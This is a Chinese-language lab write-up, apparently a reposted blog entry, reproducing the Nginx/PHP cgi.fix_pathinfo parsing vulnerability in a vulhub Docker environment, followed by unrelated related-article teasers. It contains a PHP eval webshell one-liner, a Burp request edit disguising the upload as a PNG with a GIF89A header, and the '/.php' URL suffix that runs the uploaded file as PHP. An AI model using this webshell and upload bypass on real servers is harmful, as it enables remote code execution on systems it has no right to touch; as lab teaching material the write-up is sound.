当前位置： 首页 > news >正文

Nginx 背锅解析漏洞

news 2026/4/1 21:54:55

Nginx 背锅解析漏洞

文章目录

    • Nginx 背锅解析漏洞
      • 1 在线漏洞解读:
      • 2 环境搭建
      • 3 影响版本：
      • 4 漏洞复现
        • 4.1 访问页面
        • 4.2 上传文件
      • 4.3 上传失败
        • 4.4 使用bp进行分析包
        • 4.5 对返回图片位置进行访问
        • 4.6 执行php代码技巧-图片后缀加`./php`
        • 4.7 分析原因 --》cgi.fix_pathinfo--》on开启后会将png图当成php脚本执行

1 在线漏洞解读:

https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/

在这里插入图片描述

2 环境搭建

cd  /home/kali/vulhub/nginx/nginx_parsing_vulnerability

在这里插入图片描述

启动：

sudo docker-compose up -dsudo docker-compose ps -a
sudo docker ps -a

已启动：访问端口18080

在这里插入图片描述

3 影响版本：

​ 版本信息：

  • Nginx 1.x 最新版
  • PHP 7.x最新版

4 漏洞复现

4.1 访问页面

​ 访问页面http://192.168.225.166:18080/

在这里插入图片描述

4.2 上传文件
<?php @eval($_REQUEST[777]);phpinfo();?>  # 1.php文件内容

在这里插入图片描述

4.3 上传失败

在这里插入图片描述

4.4 使用bp进行分析包

使用bp修改请求参数后缀和内容类型，和内容头类型，发现上传成功，返回上传文件位置

Content-Type: image/pngGIF89A

在这里插入图片描述

4.5 对返回图片位置进行访问
192.168.225.166:18080/uploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png

在这里插入图片描述

4.6 执行php代码技巧-图片后缀加./php
http://192.168.225.166:18080/uploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png/.php

在这里插入图片描述

4.7 分析原因 --》cgi.fix_pathinfo–》on开启后会将png图当成php脚本执行

在这里插入图片描述

相关文章：

Nginx 背锅解析漏洞

Nginx 背锅解析漏洞 文章目录 Nginx 背锅解析漏洞1 在线漏洞解读:2 环境搭建3 影响版本&#xff1a;4 漏洞复现4.1 访问页面4.2 上传文件 4.3 上传失败4.4 使用bp进行分析包4.5 对返回图片位置进行访问4.6 执行php代码技巧-图片后缀加./php4.7 分析原因 --》cgi.fix_pathinfo--…...

编程日记 2023/9/26 9:46:23

AI与传统数据库 - ChatGPT风过之后 ｜ 从Duet AI说开来

作者&#xff1a;Ni Demai&#xff0c;是NineData数据库产品专家&#xff0c;曾任阿里云数据库国际产品总负责人&#xff0c;华为高斯 GaussDB 创始团队核心架构师&#xff0c;IBM Db2 资深研发工程师。 Demai 专注 Cloud-Native database 架构设计&#xff0c;分析型 MPP&…...

编程日记 2023/9/26 9:44:21

L1-032 Left-pad C++解法

一、题目再现 根据新浪微博上的消息&#xff0c;有一位开发者不满NPM&#xff08;Node Package Manager&#xff09;的做法&#xff0c;收回了自己的开源代码&#xff0c;其中包括一个叫left-pad的模块&#xff0c;就是这个模块把javascript里面的React/Babel干瘫痪了。这是个…...

编程日记 2023/9/26 9:43:20

Python 用列表实现模拟手机通讯录（简易版）

"""列表实现好友管理系统知识点&#xff1a;1、列表存储信息2、列表增删改查3、嵌套循环4、字符串分割和拼接&#xff08;重点&#xff09;5、列表索引"""# 暂存好友信息&#xff08;程序结束数据删除&#xff09; friend_info list()input_buf…...

编程日记 2023/9/26 9:41:18

macOS使用官方安装包安装python

新手程序员可能想知道如何在 Mac 上正确安装 Python&#xff0c;这里介绍在 macOS 上安装 Python 的方法。 操作步骤 1.从 Python 官方网站 (python.org) 下载最新的 Python 版本. 单击 macOS 链接并选择最新的 Python 版本。 2.下载完成后&#xff0c;双击包开始安装Python…...

编程日记 2023/9/26 9:40:17

如何重装Windows Mirosoft Store

重装Windows Mirosoft Store 如何重装Windows Mirosoft Store呢&#xff1f;如何下载Windows Mirosoft Store呢&#xff1f;Windows Mirosoft Store不见了咋办&#xff1f;Windows 自带软件不见了咋办等等&#xff1f;写在前面 1.文件准备2.安装 如何重装Windows Mirosoft Stor…...

编程日记 2023/9/26 9:39:16

软考高级系统架构设计师系列论文真题七：基于构件的软件开发

软考高级系统架构设计师系列论文真题七：基于构件的软件开发 一、基于构件的软件开发二、找准核心论点三、理论素材准备四、精品范文赏析1.摘要2.正文3.总结软考高级系统架构设计师系列论文之：百篇软考高级架构设计师论文范文软考高级系统架构设计师系列之：论文题目类型、论文…...

编程日记 2023/9/26 9:38:15

git rebase 修改中间的commit

0. 前言 今天在移植最新版本 kfence 功能的时候&#xff0c;一共需要移植大概40多个 patch&#xff0c;中间有很多patch 存在冲突&#xff0c;需要手动修改后才能合并。当所有的patch 都合并完成进行编译的时候&#xff0c;发现其中一个 patch 手动合并出了个错误。 假如共有…...

编程日记 2023/9/26 9:37:14

登录业务实现 - token登录鉴权

登录业务实现&#xff1a; 登录成功/失败实现 -> pinia管理用户数据及数据持久化 -> 不同登录状态的模板适配 -> 请求拦截器携带token&#xff08;登录鉴权&#xff09; -> 退出登录实现 -> token失效&#xff08;401响应拦截&#xff09; 1. 登录成…...

编程日记 2023/9/26 9:36:13

内存对齐--面试常问问题和笔试常考问题

1.内存对齐的意义 C 内存对齐的主要意义可以简练概括为以下几点&#xff1a; 提高访问效率&#xff1a;内存对齐可以使数据在内存中以更加紧凑的方式存储&#xff0c;从而提高了数据的访问效率。处理器通常能够更快地访问内存中对齐的数据&#xff0c;而不需要额外的字节偏移计…...

编程日记 2023/9/26 9:35:12

贪心算法-会议室问题

1、题目描述 一些项目要占用一个会议室宣讲&#xff0c;会议室不能同时容纳两个项目。现在给你两个长度一样的数组&#xff0c;starts数组代码每个会议开始的时间&#xff0c;ends数组代表每个会议结束的时间。 在给你一个当前时间&#xff0c;请你求出当日可以利用会议室宣讲的…...

编程日记 2023/9/26 9:33:10

单日 5000 亿行 / 900G 数据接入，TDengine 3.0 在中国地震台网中心的大型应用

小T导读&#xff1a;为满足地震预警数据存储、检索和处理的建设与集成需求&#xff0c;以及响应国家国产软件自主可控的号召&#xff0c;中国地震台网中心决定选用国产数据库 TDengine 来存储和处理地震波形数据。本文将针对 TDengine 3.0 在地震领域的应用展开详细讲解。 关于…...

编程日记 2023/9/26 9:32:09

【VIM系列】cscope命令

cscope...

编程日记 2023/9/26 9:31:08

Vue的自定义事件（Custom Events）：实现组件间通信的强大工具

Vue的自定义事件&#xff08;Custom Events&#xff09;&#xff1a;实现组件间通信的强大工具 Vue.js是一款流行的JavaScript框架&#xff0c;用于构建交互式的Web应用程序。在Vue中&#xff0c;组件是构建应用程序的基本单元&#xff0c;它们之间的通信对于构建复杂的应用非…...

编程日记 2023/9/26 9:30:07

简易实现通讯录(1.0)

前言 我们还是像以前一样,分为三个文件来书写,分别是contact.h,contact.c,test.c 分别用来声明函数,实现函数和测试函数功能,现在就让我们开始吧. 1.基本逻辑 首先我们定义通讯录里的数据,我们定义为结构体 typedef struct PeoInfo {char name[NAME_MAX];int age;char sex[SEX_…...

编程日记 2023/9/26 9:29:05

CSS笔记——触发式动画Transition、主动式动画Animation、Transfrom 动画、CSS 3D 动画、阴影和滤镜样式

CSS动画 一、触发式动画Transition transition过渡动画&#xff0c;一般配合伪类使用 属性值&#xff1a; transition-duration&#xff1a; 指定过渡效果的持续时间&#xff0c;以秒或毫秒为单位。 transition-timing-function&#xff1a; 指定过渡效果的时间函数&#xff…...

编程日记 2023/9/26 9:28:04

软件测试之Web安全测试详解

前言 随着互联网时代的蓬勃发展&#xff0c;基于Web环境下的应用系统、应用软件也得到了越来越广泛的使用。 目前&#xff0c;很多企业的业务发展都依赖于互联网&#xff0c;比如&#xff0c;网上银行、网络购物、网络游戏等。但&#xff0c;由于很多恶意攻击者想通过截获他人…...

编程日记 2023/9/26 9:27:03

MYSQL binlog

为了防止 binlog 文件过大导致无可用的磁盘空间&#xff0c;MySQL 提供了一个系统变量用来配置过期时间。 MySQL5.7 &#xff1a;expire_logs_days&#xff0c;精确度为天&#xff1b; MySQL8.0 &#xff1a;binlog_expire_logs_seconds&#xff0c;精确度为秒。 SET GLOBAL bi…...

编程日记 2023/9/26 9:23:58

Web 基础概念

自己总结的web前端知识体系大全 基础概念 DOM DOM是什么意思-前端入门_dom是什么意思啊_猿说前端的博客-CSDN博客 DOM的含义&#xff1a; DOM称为文件对象模型&#xff08;DocumentObjectModel&#xff0c;简称DOM&#xff09;&#xff0c;是W3C组织推荐的处理可扩展置标语言的…...

编程日记 2023/9/26 9:22:57

谈谈最近招人的感受！

最近折腾新的项目&#xff0c;面试了很多实习生小伙伴&#xff0c;我说说我的一些「面试」感受&#xff0c; 虽然是一个老生常谈的话题&#xff0c;但是依然提一下。 准时很重要&#xff1a;提前一点时间&#xff0c;踩个点&#xff0c;别迟到&#xff0c;面试的过程中由于每个…...

编程日记 2023/9/26 9:21:56

从 14 万美元支付事故看：AI 写的代码过了所有测试，为什么活不过生产？

我审计过的一家科技公司&#xff0c;曾因一段 AI 生成的异步支付处理代码&#xff0c;遭遇了一场灾难性的生产事故。这段代码完美通过了所有自动化检查、单元测试与集成测试&#xff0c;标注着「All checks passed」被顺利合并到生产环境&#xff0c;最终却触发了竞态条件与重复…...

编程新知 2026/4/1 21:44:37

PID控制在自动循迹小车中的实战应用与参数整定指南

PID控制在自动循迹小车中的实战应用与参数整定指南 当你在实验室里第一次看到自己设计的自动循迹小车歪歪扭扭地沿着黑线前进时&#xff0c;那种既兴奋又挫败的感觉一定记忆犹新。为什么理论上完美的PID算法&#xff0c;在实际应用中却总是出现超调、振荡或者响应迟缓&#xff…...

编程新知 2026/4/1 20:40:00

YOLOv5+Swin-Tiny实战：在自定义数据集上提升小目标检测精度的完整流程

YOLOv5与Swin-Tiny融合实战&#xff1a;工业级小目标检测优化指南 在无人机巡检、遥感监测和工业质检等场景中&#xff0c;小目标检测一直是计算机视觉领域的棘手挑战。传统卷积神经网络(CNN)在处理这类任务时&#xff0c;往往难以兼顾感受野与计算效率的平衡。本文将带您探索如…...

编程新知 2026/4/1 20:25:45

【含文档+PPT+源码】基于SSM框架的农产品销售平台的设计与实现

项目介绍本课程演示的是一款 基于SSM框架的农产品销售平台的设计与实现&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。1.包含&#xff1a;项目源码、项目文档、数据库脚本、软件工具等所有资料2.带你从零开始部署运行本套系统3.该项…...

编程新知 2026/4/1 20:17:44

终极Übersicht小部件调试指南：10个实用工具和高效方法

终极bersicht小部件调试指南&#xff1a;10个实用工具和高效方法 【免费下载链接】uebersicht ˈyːbɐˌzɪt 项目地址: https://gitcode.com/gh_mirrors/ue/uebersicht bersicht是一款强大的macOS桌面小部件工具&#xff0c;让开发者能够在桌面上创建和运行自定义小部…...

编程新知 2026/4/1 18:48:44

OpCore-Simplify：开源系统硬件适配自动化的技术突破

OpCore-Simplify&#xff1a;开源系统硬件适配自动化的技术突破 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 在开源系统定制领域&#xff0c;硬件兼…...

编程新知 2026/4/1 17:53:33

AI报告文档审核赋能人才培养：IACheck打造环境检测人机协同审核虚拟仿真新体系

在环境检测行业持续走向精细化与规范化的过程中&#xff0c;报告审核能力逐渐成为影响整体质量的重要因素。然而&#xff0c;与检测设备和分析技术不断升级相比&#xff0c;审核人员的培养却长期依赖经验积累与“师带徒”模式&#xff0c;这种方式虽然能够传递实践经验&#xf…...

编程新知 2026/4/1 17:33:09

H5页面如何优雅跳转iOS App Store？解决点击后二次跳转的坑

H5页面如何优雅跳转iOS App Store&#xff1f;解决点击后二次跳转的坑 在移动互联网时代&#xff0c;H5页面与原生App的无缝衔接已经成为提升用户体验的关键环节。特别是对于电商、社交、内容平台等需要引导用户下载App的场景&#xff0c;如何实现从H5页面到iOS App Store的平…...

编程新知 2026/4/1 17:16:08

08_Claude Code之高级工作流与自动化：循环、调度与并行批处理

08 Claude Code之高级工作流与自动化&#xff1a;循环、调度与并行批处理 Claude Code 的真正价值在于自动化能力&#xff0c;而不仅仅是对话工具。本文深度讲解 Plan Mode 的量化对比&#xff08;多文件重构成功率从62%到89%&#xff09;、非交互批处理脚本、并行处理架构、CI…...

编程新知 2026/4/1 15:56:30

AI辅助开发：利用快马构建openclaw强化学习抓取训练环境

最近在研究机械爪的抓取策略优化&#xff0c;发现手动调参效率太低&#xff0c;于是尝试用AI辅助开发来构建一个强化学习训练环境。这个项目主要围绕openclaw机械爪的启动和控制策略展开&#xff0c;通过快马平台的AI能力快速搭建实验环境&#xff0c;效果出乎意料地好。 环境搭…...

编程新知 2026/4/1 15:40:24